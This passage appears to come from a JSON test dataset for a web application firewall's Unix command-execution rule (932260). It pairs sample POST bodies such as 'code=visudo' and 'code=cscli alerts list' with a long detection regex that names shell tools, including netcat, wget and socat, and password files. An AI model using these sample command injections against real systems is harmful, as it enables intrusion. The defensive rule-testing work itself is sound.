"(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)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\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block execution chef recipie book against a specific node" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=visudo\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\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+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block execution of visudo" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cscli alerts list\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?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\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block execution of CrowdSec cscli" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "name=Axel Smith\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&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\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?: